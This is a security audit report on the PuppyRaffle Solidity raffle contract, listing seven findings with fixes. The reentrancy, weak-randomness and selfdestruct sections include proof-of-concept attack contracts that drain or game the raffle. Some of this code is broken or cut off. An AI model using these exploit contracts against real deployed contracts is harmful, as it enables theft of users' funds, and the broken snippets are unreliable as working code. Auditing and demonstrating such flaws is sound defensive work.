PuppyRaffle Audit Report

Version 1.0

0xdwrd

August 28, 2025

PuppyRaffle Audit Report

0xdwrd

Aug. 28, 2025

Security Reseacher: 0xdwrd

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The 0xdwrd auditor make all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the auditor is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

I use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
e30d199697bbc822b646d76533b66b7d529b8ef5
```

Scope

```
./src/
#--- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. **Player** - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

The audit identified **4 high-severity issues** in the PuppyRaffle protocol.

Issues found

Severity	Number of issues found
High	4
Medium	2
Low	1
Info	0
Total	7

Findings

High

[H-1] Potential Loss of Funds During Prize Pool Distribution

Relevant GitHub Links

https://github.com/Cyfrin/2023-10-Puppy-Raffle/blob/main/src/PuppyRaffle.sol#L125-L154

https://github.com/Cyfrin/2023-10-Puppy-Raffle/blob/main/src/PuppyRaffle.sol#L103

Summary

In the `selectWinner` function, when a player has refunded and their address is replaced with address(0), the prize money may be sent to address(0), resulting in fund loss.

Vulnerability Details

In the `refund` function if a user wants to refund his money then he will be given his money back and his address in the array will be replaced with `address(0)`. So lets say `Alice` entered in the raffle and later decided to refund her money then her address in the `player` array will be replaced with `address(0)`. And lets consider that her index in the array is 7`th` so currently there is `address(0)` at 7`th index`, so when `selectWinner` function will be called there isn't any kind of check that this 7th index can't be the winner so if this 7`th` index will be declared as winner then all the prize will be sent to him which will actually lost as it will be sent to `address(0)`

Impact

Loss of funds if they are sent to address(0), posing a financial risk.

Tools Used

Manual Review

Recommendations

Implement additional checks in the `selectWinner` function to ensure that prize money is not sent to `address(0)`

[H-2] Reentrancy Vulnerability In `PuppyRaffle::refund()` function

Relevant GitHub Links

https://github.com/Cyfrin/2023-10-Puppy-Raffle/blob/07399f4d02520a2abf6f462c024842e495ca82e4/src/PuppyRaffle.
L105C6

Summary

The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ### Vulnerability Details

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

        payable(msg.sender).sendValue(entranceFee);

        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract. A malicious contract could re-enter the refund function before the state is updated.

Impact

If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users.

```
PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross
    function reentrancies:
- PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92)
- PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol
    #110-117)
- PuppyRaffle.players (src/PuppyRaffle.sol#23)
- PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105)
- PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154)
```

POC

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

import "./PuppyRaffle.sol";

contract AttackContract {
    PuppyRaffle public puppyRaffle;
    uint256 public receivedEther;
    uint256

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
    }

    function attack() public payable {
        require(msg.value > 0);

        // Create a dynamic array and push the sender's address
        address[] memory players = new address[](1);
        players[0] = address(this);

        puppyRaffle.enterRaffle{value: msg.value}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= msg.value) {
            receivedEther += msg.value;

            // Find the index of the sender's address
            uint256 playerIndex = puppyRaffle.getActivePlayerIndex(
                address(this));

            if (playerIndex > 0) {
                // Refund the sender if they are in the raffle
                puppyRaffle.refund(playerIndex);
            }
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state.

Tools Used

Manual Review

Recommendations

To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether.

Here's how you can modify the refund function:

```
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

// Update the state before sending Ether
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);

// Now it's safe to send Ether
(bool success, ) = payable(msg.sender).call{value: entranceFee}("");
require(success, "PuppyRaffle: Failed to refund");


}
```

This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

[H-3] Randomness can be gamed

Relevant GitHub Links

https://github.com/Cyfrin/2023-10-Puppy-Raffle/blob/main/src/PuppyRaffle.sol#L128

Summary

The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element.

Vulnerability Details

Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT.

Impact

Critical

Tools Used

Foundry

POC

```
// SPDX-License-Identifier: No-License

pragma solidity 0.7.6;

interface IPuppyRaffle {
    function enterRaffle(address[] memory newPlayers) external payable;

    function getPlayersLength() external view returns (uint256);

    function selectWinner() external;
}

contract Attack {
    IPuppyRaffle raffle;

    constructor(address puppy) {
        raffle = IPuppyRaffle(puppy);
    }

    function attackRandomness() public {
        uint256 playersLength = raffle.getPlayersLength();

        uint256 winnerIndex;
        uint256 toAdd = playersLength;
        while (true) {
            winnerIndex =
                uint256(
                    keccak256(
                        abi.encodePacked(
                            address(this),
                            block.timestamp,
                            block.difficulty
                        )
                    )
                ) %
                toAdd;

            if (winnerIndex == playersLength) break;
            ++toAdd;
        }
        uint256 toLoop = toAdd - playersLength;

        address[] memory playersToAdd = new address[](toLoop);
        playersToAdd[0] = address(this);

        for (uint256 i = 1; i < toLoop; ++i) {
            playersToAdd[i] = address(i + 100);
        }

        uint256 valueToSend = 1e18 * toLoop;
        raffle.enterRaffle{value: valueToSend}(playersToAdd);
        raffle.selectWinner();
    }

    receive() external payable {}

    function onERC721Received(
        address operator,
        address from,
```

Recommendations

Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

[H-04] Typecasting from uint256 to uint64 in PuppyRaffle.selectWinner() May Lead to Overflow and Incorrect Fee Calculation

Relevant GitHub Links

https://github.com/Cyfrin/2023-10-Puppy-Raffle/blob/07399f4d02520a2abf6f462c024842e495ca82e4/src/PuppyRaffle.

Summary

Vulnerability Details

The type conversion from uint256 to uint64 in the expression 'totalFees = totalFees + uint64(fee)' may potentially cause overflow problems if the 'fee' exceeds the maximum value that a uint64 can accommodate (2^64 - 1).

```
1          totalFees = totalFees + uint64(fee);
```

POC

Code

```
1  function testOverflow() public {
2          uint256 initialBalance = address(puppyRaffle).balance;
3
4          // This value is greater than the maximum value a uint64 can
               hold
5          uint256 fee = 2**64;
6
7          // Send ether to the contract
8          (bool success, ) = address(puppyRaffle).call{value: fee}("");
9          assertTrue(success);
10
11         uint256 finalBalance = address(puppyRaffle).balance;
12
13         // Check if the contract's balance increased by the expected
               amount
14         assertEq(finalBalance, initialBalance + fee);
15     }
```

In this test, assertTrue(success) checks if the ether was successfully sent to the contract, and assertEq(finalBalance, initialBalance + fee) checks if the contract's balance increased by the expected amount. If the balance didn't increase as expected, it could indicate an overflow.

Impact

This could consequently lead to inaccuracies in the computation of 'totalFees'. ### Tools Used Manual ### Recommendations To resolve this issue, you should change the data type of `totalFees` from `uint64` to `uint256`. This will prevent any potential overflow issues, as `uint256` can accommodate much larger numbers than `uint64`. Here's how you can do it:

Change the declaration of `totalFees` from:

```
uint64 public totalFees = 0;
```

to:

```
uint256 public totalFees = 0;
```

And update the line where `totalFees` is updated from:

```
- totalFees = totalFees + uint64(fee);
+ totalFees = totalFees + fee;
```

This way, you ensure that the data types are consistent and can handle the range of values that your contract may encounter.

Medium

[M-01] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

Relevant GitHub Links

https://github.com/Cyfrin/2023-10-Puppy-Raffle/blob/07399f4d02520a2abf6f462c024842e495ca82e4/src/PuppyRaffle.
L163

Summary

An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function.

Vulnerability Details

The withdraw function contains the following check:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows:

Add this contract above `PuppyRaffleTest`:

```
contract Kill {
    constructor  (address target) payable {
        address payable _target = payable(target);
        selfdestruct(_target);
    }
}
```

Modify `setUp` as follows:

```
    function setUp() public {
        puppyRaffle = new PuppyRaffle(
            entranceFee,
            feeAddress,
            duration
        );
        address mAlice = makeAddr("mAlice");
        vm.deal(mAlice, 1 ether);
        vm.startPrank(mAlice);
        Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle));
        vm.stopPrank();
    }
```

Now run `testWithdrawFees()` - `forge test --mt testWithdrawFees` to get:

```
Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[FAIL. Reason: PuppyRaffle: There are currently players active!]
    testWithdrawFees() (gas: 361718)
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms
```

Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract.

Impact

All fees that weren't withdrawn and all future fees are stuck in the contract.

Tools Used

Manual review

Recommendations

Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it.

```
    function withdrawFees() external {
--      require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

[M-03] Impossible to win raffle if the winner is a smart contract without a fallback function

Summary

If a player submits a smart contract as a player, and if it doesn't implement the `receive()` or `fallback()` function, the call use to send the funds to the winner will fail to execute, compromising the functionality of the protocol.

Vulnerability Details

The vulnerability comes from the way that are programmed smart contracts, if the smart contract doesn't implement a `receive()payable` or `fallback()payable` functions, it is not possible to send ether to the program.

Impact

High - Medium: The protocol won't be able to select a winner but players will be able to withdraw funds with the `refund()` function

Recommendations

Restrict access to the raffle to only EOAs (Externally Owned Accounts), by checking if the passed address in enterRaffle is a smart contract, if it is we revert the transaction.

We can easily implement this check into the function because of the Adress library from OppenZeppelin.

I'll add this replace `enterRaffle()` with these lines of code:

```
1
2  function enterRaffle(address[] memory newPlayers) public payable {
3      require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
           Must send enough to enter raffle");
4      for (uint256 i = 0; i < newPlayers.length; i++) {
5          require(Address.isContract(newPlayers[i]) == false, "The players
               need to be EOAs");
6          players.push(newPlayers[i]);
7      }
8
9      // Check for duplicates
10     for (uint256 i = 0; i < players.length - 1; i++) {
11         for (uint256 j = i + 1; j < players.length; j++) {
12             require(players[i] != players[j], "PuppyRaffle: Duplicate
                   player");
13         }
14     }
15
16     emit RaffleEnter(newPlayers);
17 }
```

Low

[L-1]. Ambiguous index returned from PuppyRaffle::getActivePlayerIndex(address), leading to possible refund failures

Relevant GitHub Links

https://github.com/Cyfrin/2023-10-Puppy-Raffle/blob/e01ef1124677fb78249602a171b994e1f48a1298/src/PuppyRaffle

Summary

The `PuppyRaffle::getActivePlayerIndex(address)` returns `0` when the index of this player's address is not found, which is the same as if the player would have been found in the first element in the array. This can trick calling logic to think the address was found and then attempt to execute a `PuppyRaffle::refund(uint256)`.

Vulnerability Details

The `PuppyRaffle::refund()` function requires the index of the player's address to preform the requested refund.

```
1 /// @param playerIndex the index of the player to refund. You can find
      it externally by calling `getActivePlayerIndex`
2 function refund(uint256 playerIndex) public;
```

In order to have this index, `PuppyRaffle::getActivePlayerIndex(address)` must be used to learn the correct value.

```
/// @notice a way to get the index in the array
/// @param player the address of a player in the raffle
/// @return the index of the player in the array, if they are not active, it returns 0
function getActivePlayerIndex(address player) external view returns (int256) {
    // find the index...
    // if not found, then...
    return 0;
}
```

The logic in this function returns `0` as the default, which is as stated in the `@return` NatSpec. However, this can create an issue when the calling logic checks the value and naturally assumes `0` is a valid index that points to the first element in the array. When the players array has at two or more players, calling `PuppyRaffle::refund()` with the incorrect index will result in a normal revert with the message "PuppyRaffle: Only the player can refund", which is fine and obviously expected.

On the other hand, in the event a user attempts to perform a `PuppyRaffle::refund()` before a player has been added the EvmError will likely cause an outrageously large gas fee to be charged to the user.

This test case can demonstrate the issue:

```
function testRefundWhenIndexIsOutOfBounds() public {
    int256 playerIndex = puppyRaffle.getActivePlayerIndex(playerOne);
    vm.prank(playerOne);
    puppyRaffle.refund(uint256(playerIndex));
}
```

The results of running this one test show about 9 ETH in gas:

```
Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[FAIL. Reason: EvmError: Revert] testRefundWhenIndexIsOutOfBounds() (gas: 9079256848778899449)
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 914.01 us
```

Additionally, in the very unlikely event that the first player to have entered attempts to preform a `PuppyRaffle::refund()` for another user who has not already entered the raffle, they will unwittingly refund their own entry. A scenario whereby this might happen would be if `playerOne` entered the raffle for themselves and 10 friends. Thinking that `nonPlayerEleven` had been included in the original list and has subsequently requested a `PuppyRaffle::refund()`. Accommodating the request, `playerOne` gets the index for `nonPlayerEleven`. Since the address does not exist as a player, `0` is returned to `playerOne` who then calls `PuppyRaffle::refund()`, thereby refunding their own entry.

Impact

1. Exorbitantly high gas fees charged to user who might inadvertently request a refund before players have entered the raffle.
2. Inadvertent refunds given based in incorrect `playerIndex`.

Tools Used

Manual Review and Foundry

Recommendations

1. Ideally, the whole process can be simplified. Since only the `msg.sender` can request a refund for themselves, there is no reason why `PuppyRaffle::refund()` cannot do the entire process in one call. Consider refactoring and implementing the `PuppyRaffle::refund()` function in this manner:

```
/// @dev This function will allow there to be blank spots in the array
function refund() public {
    require(_isActivePlayer(), "PuppyRaffle: Player is not active");
    address playerAddress = msg.sender;

    payable(msg.sender).sendValue(entranceFee);

    for (uint256 playerIndex = 0; playerIndex < players.length; ++
        playerIndex) {
        if (players[playerIndex] == playerAddress) {
            players[playerIndex] = address(0);
        }
    }
    delete existingAddress[playerAddress];
    emit RaffleRefunded(playerAddress);
}
```

Which happens to take advantage of the existing and currently unused `PuppyRaffle::_isActivePlayer()` and eliminates the need for the index altogether.

2. Alternatively, if the existing process is necessary for the business case, then consider refactoring the `PuppyRaffle::getActivePlayerIndex(address)` function to return something other than a `uint` that could be mistaken for a valid array index.

“‘diff + int256 public constant INDEX_NOT_FOUND = -1; + function getActivePlayerIndex(address player) external view returns (int256) { - function getActivePlayerIndex(address player) external view returns (uint256) { for (uint256 i = 0; i < players.length; i++) { if (players[i] == player) { return int256(i); } } - return 0; + return INDEX_NOT_FOUND; }

```
function refund(uint256 playerIndex) public {
```

- ```
  require(playerIndex < players.length, "PuppyRaffle: No player for index");
  ```
  ```